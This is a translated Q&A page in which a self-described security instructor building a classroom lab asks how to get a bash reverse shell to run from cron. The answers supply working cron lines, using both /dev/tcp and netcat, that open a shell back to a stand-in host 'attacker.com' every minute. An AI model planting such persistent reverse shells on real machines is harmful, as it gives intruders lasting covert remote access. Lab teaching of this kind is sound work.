Bash反向shell命令cron工作不起作用 - 我放弃了

问题描述 投票:4回答:2

我在一所大学教授网络安全,并在Netcat上编写一个实验室并反向炮弹。我创建了一个cron作业,它运行一个连接到我的监听器的脚本。这很好。问题是指纹太多了,脚本可以删除。实验室的一部分是隐身操作(比如在输入的任何命令前放置一个空格)。

我试图让这个命令执行。现在频率并不重要,但最终它会在开机时运行,每30分钟运行一次。

/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1

从命令行运行时,命令有效,并建立反向shell。我不想使用端口80,因为如果学生决定尝试愚蠢的事情,我希望这个被阻止。另外,下一个实验室是在iptables上阻止这个端口。

我试过报价。我试过sudo。最后是双&符号。最后是单个&符号。 / tcp /的路径的进一步资格。我认为我不需要建立它运行的tty会话(这将是艰难的)。在任何情况下,cron-run命令都不会成功。

crontab -l

# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
* * * * * /bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1

这是系统日志

cat /var/log/syslog 

Mar 19 07:42:01 raspberrypi CRON[12921]: (pi) CMD (/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1)
Mar 19 07:42:01 raspberrypi CRON[12917]: (CRON) info (No MTA installed, discarding output)

它似乎没有失败......它只是没有工作。

那么对于我这里比我更聪明的许多人来说,我做错了什么以及如何让这个命令作为一个cron工作(调用脚本不是一个选项)?

更新:解决方案是* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1'虽然有两个错误,我仍在努力解决。

linux bash cron netcat reverse-shell
2个回答
5
投票

/dev/tcp bashism

请注意,/dev/tcp/host/port是一种基础!

cron不会理解他们!

你可以尝试:

* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1'

或使用非bash方式:

使用netcat作为样本:

* * * * * /usr/bin/nc -c /bin/bash\ -i attacker.com 5326 0>&1

(见man nc.traditional vs man nc.openbsd


1
投票

我怀疑从命令行传递的argv数组和cron守护程序传递的数组之间存在不匹配。虽然我不知道丢失的逃逸是什么,但这是诊断它的一般方法:

void main(int argc, char **argv) {
  for( int i=0; i<argc; i++) 
    printf("%d: '%s'\n",i,argv[i])
}

如果你把它编译成二进制文件并在两种情况下用你的args运行它你应该看到区别:

./a.out -i >& /dev/tcp/attacker.com/5326 0>&1

与:

* * * * * /path/a.out -i >& /dev/tcp/attacker.com/5326 0>&1

如果它不是argv的差异,那么>&0>&1是否会被命令行bash进程(而不是正在启动的进程)处理并应用于正在运行的bash shell,以便攻击者二进制文件没有重定向,但是它的父进程呢?

编辑:

F. Hauri提出了一个很好的观点,但你在crotab中可能想要的是:

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1'

(或者他们可以编辑他们的答案,/ path / a.out部分是错误的)

Edit2 - 捕获输出:

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1 >/path/to/logfile'
© www.soinside.com 2019 - 2024. All rights reserved.